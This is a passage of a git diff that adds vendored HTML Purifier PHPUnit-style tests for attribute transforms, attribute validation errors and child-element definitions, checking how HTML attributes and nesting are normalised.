+ public function testPrependNewCSS()
+ {
+ $this->assertResult(
+ array('align' => 'left', 'style' => 'font-weight:bold;'),
+ array('style' => 'text-align:left;font-weight:bold;')
+ );
+
+ }
+
+ public function testCaseInsensitive()
+ {
+ $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array(
+ 'right' => 'text-align:right;'
+ ));
+ $this->assertResult(
+ array('align' => 'RIGHT'),
+ array('style' => 'text-align:right;')
+ );
+ }
+
+ public function testCaseSensitive()
+ {
+ $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array(
+ 'right' => 'text-align:right;'
+ ), true);
+ $this->assertResult(
+ array('align' => 'RIGHT'),
+ array()
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php
new file mode 100644
index 000000000..e1d25269f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php
@@ -0,0 +1,61 @@
+<?php
+
+class HTMLPurifier_AttrTransform_ImgRequiredTest extends HTMLPurifier_AttrTransformHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_AttrTransform_ImgRequired();
+ }
+
+ public function testAddMissingAttr()
+ {
+ $this->config->set('Core.RemoveInvalidImg', false);
+ $this->assertResult(
+ array(),
+ array('src' => '', 'alt' => 'Invalid image')
+ );
+ }
+
+ public function testAlternateDefaults()
+ {
+ $this->config->set('Attr.DefaultInvalidImage', 'blank.png');
+ $this->config->set('Attr.DefaultInvalidImageAlt', 'Pawned!');
+ $this->config->set('Attr.DefaultImageAlt', 'not pawned');
+ $this->config->set('Core.RemoveInvalidImg', false);
+ $this->assertResult(
+ array(),
+ array('src' => 'blank.png', 'alt' => 'Pawned!')
+ );
+ }
+
+ public function testGenerateAlt()
+ {
+ $this->assertResult(
+ array('src' => '/path/to/foobar.png'),
+ array('src' => '/path/to/foobar.png', 'alt' => 'foobar.png')
+ );
+ }
+
+ public function testAddDefaultSrc()
+ {
+ $this->config->set('Core.RemoveInvalidImg', false);
+ $this->assertResult(
+ array('alt' => 'intrigue'),
+ array('alt' => 'intrigue', 'src' => '')
+ );
+ }
+
+ public function testAddDefaultAlt()
+ {
+ $this->config->set('Attr.DefaultImageAlt', 'default');
+ $this->assertResult(
+ array('src' => ''),
+ array('src' => '', 'alt' => 'default')
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php
new file mode 100644
index 000000000..9240f09a6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php
@@ -0,0 +1,62 @@
+<?php
+
+class HTMLPurifier_AttrTransform_ImgSpaceTest extends HTMLPurifier_AttrTransformHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('vspace');
+ }
+
+ public function testEmptyInput()
+ {
+ $this->assertResult( array() );
+ }
+
+ public function testVerticalBasicUsage()
+ {
+ $this->assertResult(
+ array('vspace' => '1'),
+ array('style' => 'margin-top:1px;margin-bottom:1px;')
+ );
+ }
+
+ public function testLenientHandlingOfInvalidInput()
+ {
+ $this->assertResult(
+ array('vspace' => '10%'),
+ array('style' => 'margin-top:10%px;margin-bottom:10%px;')
+ );
+ }
+
+ public function testPrependNewCSS()
+ {
+ $this->assertResult(
+ array('vspace' => '23', 'style' => 'font-weight:bold;'),
+ array('style' => 'margin-top:23px;margin-bottom:23px;font-weight:bold;')
+ );
+ }
+
+ public function testHorizontalBasicUsage()
+ {
+ $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('hspace');
+ $this->assertResult(
+ array('hspace' => '1'),
+ array('style' => 'margin-left:1px;margin-right:1px;')
+ );
+ }
+
+ public function testInvalidConstructionParameter()
+ {
+ $this->expectError('ispace is not valid space attribute');
+ $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('ispace');
+ $this->assertResult(
+ array('ispace' => '1'),
+ array()
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php
new file mode 100644
index 000000000..0a87d0b92
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php
@@ -0,0 +1,105 @@
+<?php
+
+class HTMLPurifier_AttrTransform_InputTest extends HTMLPurifier_AttrTransformHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_AttrTransform_Input();
+ }
+
+ public function testEmptyInput()
+ {
+ $this->assertResult(array());
+ }
+
+ public function testInvalidCheckedWithEmpty()
+ {
+ $this->assertResult(array('checked' => 'checked'), array());
+ }
+
+ public function testInvalidCheckedWithPassword()
+ {
+ $this->assertResult(array(
+ 'checked' => 'checked',
+ 'type' => 'password'
+ ), array(
+ 'type' => 'password'
+ ));
+ }
+
+ public function testValidCheckedWithUcCheckbox()
+ {
+ $this->assertResult(array(
+ 'checked' => 'checked',
+ 'type' => 'CHECKBOX',
+ 'value' => 'bar',
+ ));
+ }
+
+ public function testInvalidMaxlength()
+ {
+ $this->assertResult(array(
+ 'maxlength' => '10',
+ 'type' => 'checkbox',
+ 'value' => 'foo',
+ ), array(
+ 'type' => 'checkbox',
+ 'value' => 'foo',
+ ));
+ }
+
+ public function testValidMaxLength()
+ {
+ $this->assertResult(array(
+ 'maxlength' => '10',
+ ));
+ }
+
+ // these two are really bad test-cases
+
+ public function testSizeWithCheckbox()
+ {
+ $this->assertResult(array(
+ 'type' => 'checkbox',
+ 'value' => 'foo',
+ 'size' => '100px',
+ ), array(
+ 'type' => 'checkbox',
+ 'value' => 'foo',
+ 'size' => '100',
+ ));
+ }
+
+ public function testSizeWithText()
+ {
+ $this->assertResult(array(
+ 'type' => 'password',
+ 'size' => '100px', // spurious value, to indicate no validation takes place
+ ), array(
+ 'type' => 'password',
+ 'size' => '100px',
+ ));
+ }
+
+ public function testInvalidSrc()
+ {
+ $this->assertResult(array(
+ 'src' => 'img.png',
+ ), array());
+ }
+
+ public function testMissingValue()
+ {
+ $this->assertResult(array(
+ 'type' => 'checkbox',
+ ), array(
+ 'type' => 'checkbox',
+ 'value' => '',
+ ));
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php
new file mode 100644
index 000000000..23f3bfac6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php
@@ -0,0 +1,52 @@
+<?php
+
+class HTMLPurifier_AttrTransform_LangTest
+ extends HTMLPurifier_AttrTransformHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_AttrTransform_Lang();
+ }
+
+ public function testEmptyInput()
+ {
+ $this->assertResult(array());
+ }
+
+ public function testCopyLangToXMLLang()
+ {
+ $this->assertResult(
+ array('lang' => 'en'),
+ array('lang' => 'en', 'xml:lang' => 'en')
+ );
+ }
+
+ public function testPreserveAttributes()
+ {
+ $this->assertResult(
+ array('src' => 'vert.png', 'lang' => 'fr'),
+ array('src' => 'vert.png', 'lang' => 'fr', 'xml:lang' => 'fr')
+ );
+ }
+
+ public function testCopyXMLLangToLang()
+ {
+ $this->assertResult(
+ array('xml:lang' => 'en'),
+ array('xml:lang' => 'en', 'lang' => 'en')
+ );
+ }
+
+ public function testXMLLangOverridesLang()
+ {
+ $this->assertResult(
+ array('lang' => 'fr', 'xml:lang' => 'de'),
+ array('lang' => 'de', 'xml:lang' => 'de')
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php
new file mode 100644
index 000000000..36bb72eaf
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php
@@ -0,0 +1,51 @@
+<?php
+
+class HTMLPurifier_AttrTransform_LengthTest extends HTMLPurifier_AttrTransformHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_AttrTransform_Length('width');
+ }
+
+ public function testEmptyInput()
+ {
+ $this->assertResult( array() );
+ }
+
+ public function testTransformPixel()
+ {
+ $this->assertResult(
+ array('width' => '10'),
+ array('style' => 'width:10px;')
+ );
+ }
+
+ public function testTransformPercentage()
+ {
+ $this->assertResult(
+ array('width' => '10%'),
+ array('style' => 'width:10%;')
+ );
+ }
+
+ public function testPrependNewCSS()
+ {
+ $this->assertResult(
+ array('width' => '10%', 'style' => 'font-weight:bold'),
+ array('style' => 'width:10%;font-weight:bold')
+ );
+ }
+
+ public function testLenientTreatmentOfInvalidInput()
+ {
+ $this->assertResult(
+ array('width' => 'asdf'),
+ array('style' => 'width:asdf;')
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php
new file mode 100644
index 000000000..989b0ee84
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php
@@ -0,0 +1,45 @@
+<?php
+
+class HTMLPurifier_AttrTransform_NameSyncTest extends HTMLPurifier_AttrTransformHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_AttrTransform_NameSync();
+ $this->accumulator = new HTMLPurifier_IDAccumulator();
+ $this->context->register('IDAccumulator', $this->accumulator);
+ $this->config->set('Attr.EnableID', true);
+ }
+
+ public function testEmpty()
+ {
+ $this->assertResult( array() );
+ }
+
+ public function testAllowSame()
+ {
+ $this->assertResult(
+ array('name' => 'free', 'id' => 'free')
+ );
+ }
+
+ public function testAllowDifferent()
+ {
+ $this->assertResult(
+ array('name' => 'tryit', 'id' => 'thisgood')
+ );
+ }
+
+ public function testCheckName()
+ {
+ $this->accumulator->add('notok');
+ $this->assertResult(
+ array('name' => 'notok', 'id' => 'ok'),
+ array('id' => 'ok')
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php
new file mode 100644
index 000000000..714f4e50c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php
@@ -0,0 +1,35 @@
+<?php
+
+class HTMLPurifier_AttrTransform_NameTest extends HTMLPurifier_AttrTransformHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_AttrTransform_Name();
+ }
+
+ public function testEmpty()
+ {
+ $this->assertResult( array() );
+ }
+
+ public function testTransformNameToID()
+ {
+ $this->assertResult(
+ array('name' => 'free'),
+ array('id' => 'free')
+ );
+ }
+
+ public function testExistingIDOverridesName()
+ {
+ $this->assertResult(
+ array('name' => 'tryit', 'id' => 'tobad'),
+ array('id' => 'tobad')
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php
new file mode 100644
index 000000000..178d49c28
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php
@@ -0,0 +1,14 @@
+<?php
+
+class HTMLPurifier_AttrTransformHarness extends HTMLPurifier_ComplexHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->func = 'transform';
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php
new file mode 100644
index 000000000..e2aeac765
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php
@@ -0,0 +1,45 @@
+<?php
+
+Mock::generatePartial(
+ 'HTMLPurifier_AttrTransform',
+ 'HTMLPurifier_AttrTransformTestable',
+ array('transform'));
+
+class HTMLPurifier_AttrTransformTest extends HTMLPurifier_Harness
+{
+
+ public function test_prependCSS()
+ {
+ $t = new HTMLPurifier_AttrTransformTestable();
+
+ $attr = array();
+ $t->prependCSS($attr, 'style:new;');
+ $this->assertIdentical(array('style' => 'style:new;'), $attr);
+
+ $attr = array('style' => 'style:original;');
+ $t->prependCSS($attr, 'style:new;');
+ $this->assertIdentical(array('style' => 'style:new;style:original;'), $attr);
+
+ $attr = array('style' => 'style:original;', 'misc' => 'un-related');
+ $t->prependCSS($attr, 'style:new;');
+ $this->assertIdentical(array('style' => 'style:new;style:original;', 'misc' => 'un-related'), $attr);
+
+ }
+
+ public function test_confiscateAttr()
+ {
+ $t = new HTMLPurifier_AttrTransformTestable();
+
+ $attr = array('flavor' => 'sweet');
+ $this->assertIdentical('sweet', $t->confiscateAttr($attr, 'flavor'));
+ $this->assertIdentical(array(), $attr);
+
+ $attr = array('flavor' => 'sweet');
+ $this->assertIdentical(null, $t->confiscateAttr($attr, 'color'));
+ $this->assertIdentical(array('flavor' => 'sweet'), $attr);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php
new file mode 100644
index 000000000..4881ac7b6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php
@@ -0,0 +1,27 @@
+<?php
+
+class HTMLPurifier_AttrTypesTest extends HTMLPurifier_Harness
+{
+
+ public function test_get()
+ {
+ $types = new HTMLPurifier_AttrTypes();
+
+ $this->assertIdentical(
+ $types->get('CDATA'),
+ new HTMLPurifier_AttrDef_Text()
+ );
+
+ $this->expectError('Cannot retrieve undefined attribute type foobar');
+ $types->get('foobar');
+
+ $this->assertIdentical(
+ $types->get('Enum#foo,bar'),
+ new HTMLPurifier_AttrDef_Enum(array('foo', 'bar'))
+ );
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php
new file mode 100644
index 000000000..b3c21b6ea
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php
@@ -0,0 +1,71 @@
+<?php
+
+class HTMLPurifier_AttrValidator_ErrorsTest extends HTMLPurifier_ErrorsHarness
+{
+
+ public function setup()
+ {
+ parent::setup();
+ $config = HTMLPurifier_Config::createDefault();
+ $this->language = HTMLPurifier_LanguageFactory::instance()->create($config, $this->context);
+ $this->context->register('Locale', $this->language);
+ $this->collector = new HTMLPurifier_ErrorCollector($this->context);
+ $this->context->register('Generator', new HTMLPurifier_Generator($config, $this->context));
+ }
+
+ protected function invoke($input)
+ {
+ $validator = new HTMLPurifier_AttrValidator();
+ $validator->validateToken($input, $this->config, $this->context);
+ }
+
+ public function testAttributesTransformedGlobalPre()
+ {
+ $def = $this->config->getHTMLDefinition(true);
+ generate_mock_once('HTMLPurifier_AttrTransform');
+ $transform = new HTMLPurifier_AttrTransformMock();
+ $input = array('original' => 'value');
+ $output = array('class' => 'value'); // must be valid
+ $transform->setReturnValue('transform', $output, array($input, new AnythingExpectation(), new AnythingExpectation()));
+ $def->info_attr_transform_pre[] = $transform;
+
+ $token = new HTMLPurifier_Token_Start('span', $input, 1);
+ $this->invoke($token);
+
+ $result = $this->collector->getRaw();
+ $expect = array(
+ array(1, E_NOTICE, 'Attributes on <span> transformed from original to class', array()),
+ );
+ $this->assertIdentical($result, $expect);
+ }
+
+ public function testAttributesTransformedLocalPre()
+ {
+ $this->config->set('HTML.TidyLevel', 'heavy');
+ $input = array('align' => 'right');
+ $output = array('style' => 'text-align:right;');
+ $token = new HTMLPurifier_Token_Start('p', $input, 1);
+ $this->invoke($token);
+ $result = $this->collector->getRaw();
+ $expect = array(
+ array(1, E_NOTICE, 'Attributes on <p> transformed from align to style', array()),
+ );
+ $this->assertIdentical($result, $expect);
+ }
+
+ // too lazy to check for global post and global pre
+
+ public function testAttributeRemoved()
+ {
+ $token = new HTMLPurifier_Token_Start('p', array('foobar' => 'right'), 1);
+ $this->invoke($token);
+ $result = $this->collector->getRaw();
+ $expect = array(
+ array(1, E_ERROR, 'foobar attribute on <p> removed', array()),
+ );
+ $this->assertIdentical($result, $expect);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php
new file mode 100644
index 000000000..1a751395c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php
@@ -0,0 +1,44 @@
+<?php
+
+class HTMLPurifier_ChildDef_ChameleonTest extends HTMLPurifier_ChildDefHarness
+{
+
+ protected $isInline;
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_ChildDef_Chameleon(
+ 'b | i', // allowed only when in inline context
+ 'b | i | div' // allowed only when in block context
+ );
+ $this->context->register('IsInline', $this->isInline);
+ }
+
+ public function testInlineAlwaysAllowed()
+ {
+ $this->isInline = true;
+ $this->assertResult(
+ '<b>Allowed.</b>'
+ );
+ }
+
+ public function testBlockNotAllowedInInline()
+ {
+ $this->isInline = true;
+ $this->assertResult(
+ '<div>Not allowed.</div>', ''
+ );
+ }
+
+ public function testBlockAllowedInNonInline()
+ {
+ $this->isInline = false;
+ $this->assertResult(
+ '<div>Allowed.</div>'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php
new file mode 100644
index 000000000..0094323d5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php
@@ -0,0 +1,99 @@
+<?php
+
+class HTMLPurifier_ChildDef_CustomTest extends HTMLPurifier_ChildDefHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ }
+
+ public function test()
+ {
+ $this->obj = new HTMLPurifier_ChildDef_Custom('(a,b?,c*,d+,(a,b)*)');
+
+ $this->assertEqual($this->obj->elements, array('a' => true,
+ 'b' => true, 'c' => true, 'd' => true));
+
+ $this->assertResult('', false);
+ $this->assertResult('<a /><a />', false);
+
+ $this->assertResult('<a /><b /><c /><d /><a /><b />');
+ $this->assertResult('<a /><d>Dob</d><a /><b>foo</b>'.
+ '<a href="moo" /><b>foo</b>');
+
+ }
+
+ public function testNesting()
+ {
+ $this->obj = new HTMLPurifier_ChildDef_Custom('(a,b,(c|d))+');
+ $this->assertEqual($this->obj->elements, array('a' => true,
+ 'b' => true, 'c' => true, 'd' => true));
+ $this->assertResult('', false);
+ $this->assertResult('<a /><b /><c /><a /><b /><d />');
+ $this->assertResult('<a /><b /><c /><d />', false);
+ }
+
+ public function testNestedEitherOr()
+ {
+ $this->obj = new HTMLPurifier_ChildDef_Custom('b,(a|(c|d))+');
+ $this->assertEqual($this->obj->elements, array('a' => true,
+ 'b' => true, 'c' => true, 'd' => true));
+ $this->assertResult('', false);
+ $this->assertResult('<b /><a /><c /><d />');
+ $this->assertResult('<b /><d /><a /><a />');
+ $this->assertResult('<b /><a />');
+ $this->assertResult('<acd />', false);
+ }
+
+ public function testNestedQuantifier()
+ {
+ $this->obj = new HTMLPurifier_ChildDef_Custom('(b,c+)*');
+ $this->assertEqual($this->obj->elements, array('b' => true, 'c' => true));
+ $this->assertResult('');
+ $this->assertResult('<b /><c />');
+ $this->assertResult('<b /><c /><c /><c />');
+ $this->assertResult('<b /><c /><b /><c />');
+ $this->assertResult('<b /><c /><b />', false);
+ }
+
+ public function testEitherOr()
+ {
+ $this->obj = new HTMLPurifier_ChildDef_Custom('a|b');
+ $this->assertEqual($this->obj->elements, array('a' => true, 'b' => true));
+ $this->assertResult('', false);
+ $this->assertResult('<a />');
+ $this->assertResult('<b />');
+ $this->assertResult('<a /><b />', false);
+
+ }
+
+ public function testCommafication()
+ {
+ $this->obj = new HTMLPurifier_ChildDef_Custom('a,b');
+ $this->assertEqual($this->obj->elements, array('a' => true, 'b' => true));
+ $this->assertResult('<a /><b />');
+ $this->assertResult('<ab />', false);
+
+ }
+
+ public function testPcdata()
+ {
+ $this->obj = new HTMLPurifier_ChildDef_Custom('#PCDATA,a');
+ $this->assertEqual($this->obj->elements, array('#PCDATA' => true, 'a' => true));
+ $this->assertResult('foo<a />');
+ $this->assertResult('<a />', false);
+ }
+
+ public function testWhitespace()
+ {
+ $this->obj = new HTMLPurifier_ChildDef_Custom('a');
+ $this->assertEqual($this->obj->elements, array('a' => true));
+ $this->assertResult('foo<a />', false);
+ $this->assertResult('<a />');
+ $this->assertResult(' <a />');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php
new file mode 100644
index 000000000..0e3d5c72f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php
@@ -0,0 +1,54 @@
+<?php
+
+class HTMLPurifier_ChildDef_ListTest extends HTMLPurifier_ChildDefHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_ChildDef_List();
+ }
+
+ public function testEmptyInput()
+ {
+ $this->assertResult('', false);
+ }
+
+ public function testSingleLi()
+ {
+ $this->assertResult('<li />');
+ }
+
+ public function testSomeLi()
+ {
+ $this->assertResult('<li>asdf</li><li />');
+ }
+
+ public function testOlAtBeginning()
+ {
+ $this->assertResult('<ol />', '<li><ol /></li>');
+ }
+
+ public function testOlAtBeginningWithOtherJunk()
+ {
+ $this->assertResult('<ol /><li />', '<li><ol /></li><li />');
+ }
+
+ public function testOlInMiddle()
+ {
+ $this->assertResult('<li>Foo</li><ol><li>Bar</li></ol>', '<li>Foo<ol><li>Bar</li></ol></li>');
+ }
+
+ public function testMultipleOl()
+ {
+ $this->assertResult('<li /><ol /><ol />', '<li><ol /><ol /></li>');
+ }
+
+ public function testUlAtBeginning()
+ {
+ $this->assertResult('<ul />', '<li><ul /></li>');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/OptionalTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/OptionalTest.php
new file mode 100644
index 000000000..dd035e4c8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/OptionalTest.php
@@ -0,0 +1,39 @@
+<?php
+
+class HTMLPurifier_ChildDef_OptionalTest extends HTMLPurifier_ChildDefHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_ChildDef_Optional('b | i');
+ }
+
+ public function testBasicUsage()
+ {
+ $this->assertResult('<b>Bold text</b><img />', '<b>Bold text</b>');
+ }
+
+ public function testRemoveForbiddenText()
+ {
+ $this->assertResult('Not allowed text', '');
+ }
+
+ public function testEmpty()
+ {
+ $this->assertResult('');
+ }
+
+ public function testWhitespace()
+ {
+ $this->assertResult(' ');
+ }
+
+ public function testMultipleWhitespace()
+ {
+ $this->assertResult(' ');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/RequiredTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/RequiredTest.php
new file mode 100644
index 000000000..d4f7c9882
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/RequiredTest.php
@@ -0,0 +1,78 @@
+<?php
+
+class HTMLPurifier_ChildDef_RequiredTest extends HTMLPurifier_ChildDefHarness
+{
+
+ public function testPrepareString()
+ {
+ $def = new HTMLPurifier_ChildDef_Required('foobar | bang |gizmo');
+ $this->assertIdentical($def->elements,
+ array(
+ 'foobar' => true
+ ,'bang' => true
+ ,'gizmo' => true
+ ));
+ }
+
+ public function testPrepareArray()
+ {
+ $def = new HTMLPurifier_ChildDef_Required(array('href', 'src'));
+ $this->assertIdentical($def->elements,
+ array(
+ 'href' => true
+ ,'src' => true
+ ));
+ }
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_ChildDef_Required('dt | dd');
+ }
+
+ public function testEmptyInput()
+ {
+ $this->assertResult('', false);
+ }
+
+ public function testRemoveIllegalTagsAndElements()
+ {
+ $this->assertResult(
+ '<dt>Term</dt>Text in an illegal location'.
+ '<dd>Definition</dd><b>Illegal tag</b>',
+ '<dt>Term</dt><dd>Definition</dd>');
+ $this->assertResult('How do you do!', false);
+ }
+
+ public function testIgnoreWhitespace()
+ {
+ // whitespace shouldn't trigger it
+ $this->assertResult("\n<dd>Definition</dd> ");
+ }
+
+ public function testPreserveWhitespaceAfterRemoval()
+ {
+ $this->assertResult(
+ '<dd>Definition</dd> <b></b> ',
+ '<dd>Definition</dd> '
+ );
+ }
+
+ public function testDeleteNodeIfOnlyWhitespace()
+ {
+ $this->assertResult("\t ", false);
+ }
+
+ public function testPCDATAAllowed()
+ {
+ $this->obj = new HTMLPurifier_ChildDef_Required('#PCDATA | b');
+ $this->assertResult('Out <b>Bold text</b><img />', 'Out <b>Bold text</b>');
+ }
+ public function testPCDATAAllowedJump()
+ {
+ $this->obj = new HTMLPurifier_ChildDef_Required('#PCDATA | b');
+ $this->assertResult('A <i>foo</i>', 'A foo');
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/StrictBlockquoteTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/StrictBlockquoteTest.php
new file mode 100644
index 000000000..82861ee7e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/StrictBlockquoteTest.php
@@ -0,0 +1,96 @@
+<?php
+
+class HTMLPurifier_ChildDef_StrictBlockquoteTest
+extends HTMLPurifier_ChildDefHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_ChildDef_StrictBlockquote('div | p');
+ }
+
+ public function testEmptyInput()
+ {
+ $this->assertResult('');
+ }
+
+ public function testPreserveValidP()
+ {
+ $this->assertResult('<p>Valid</p>');
+ }
+
+ public function testPreserveValidDiv()
+ {
+ $this->assertResult('<div>Still valid</div>');
+ }
+
+ public function testWrapTextWithP()
+ {
+ $this->assertResult('Needs wrap', '<p>Needs wrap</p>');
+ }
+
+ public function testNoWrapForWhitespaceOrValidElements()
+ {
+ $this->assertResult('<p>Do not wrap</p> <p>Whitespace</p>');
+ }
+
+ public function testWrapTextNextToValidElements()
+ {
+ $this->assertResult(
+ 'Wrap'. '<p>Do not wrap</p>',
+ '<p>Wrap</p><p>Do not wrap</p>'
+ );
+ }
+
+ public function testWrapInlineElements()
+ {
+ $this->assertResult(
+ '<p>Do not</p>'.'<b>Wrap</b>',
+ '<p>Do not</p><p><b>Wrap</b></p>'
+ );
+ }
+
+ public function testWrapAndRemoveInvalidTags()
+ {
+ $this->assertResult(
+ '<li>Not allowed</li>Paragraph.<p>Hmm.</p>',
+ '<p>Not allowedParagraph.</p><p>Hmm.</p>'
+ );
+ }
+
+ public function testWrapComplicatedSring()
+ {
+ $this->assertResult(
+ $var = 'He said<br />perhaps<br />we should <b>nuke</b> them.',
+ "<p>$var</p>"
+ );
+ }
+
+ public function testWrapAndRemoveInvalidTagsComplex()
+ {
+ $this->assertResult(
+ '<foo>Bar</foo><bas /><b>People</b>Conniving.'. '<p>Fools!</p>',
+ '<p>Bar'. '<b>People</b>Conniving.</p><p>Fools!</p>'
+ );
+ }
+
+ public function testAlternateWrapper()
+ {
+ $this->config->set('HTML.BlockWrapper', 'div');
+ $this->assertResult('Needs wrap', '<div>Needs wrap</div>');
+
+ }
+
+ public function testError()
+ {
+ $this->expectError('Cannot use non-block element as block wrapper');
+ $this->obj = new HTMLPurifier_ChildDef_StrictBlockquote('div | p');
+ $this->config->set('HTML.BlockWrapper', 'dav');
+ $this->config->set('Cache.DefinitionImpl', null);
+ $this->assertResult('Needs wrap', '<p>Needs wrap</p>');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/TableTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/TableTest.php
new file mode 100644
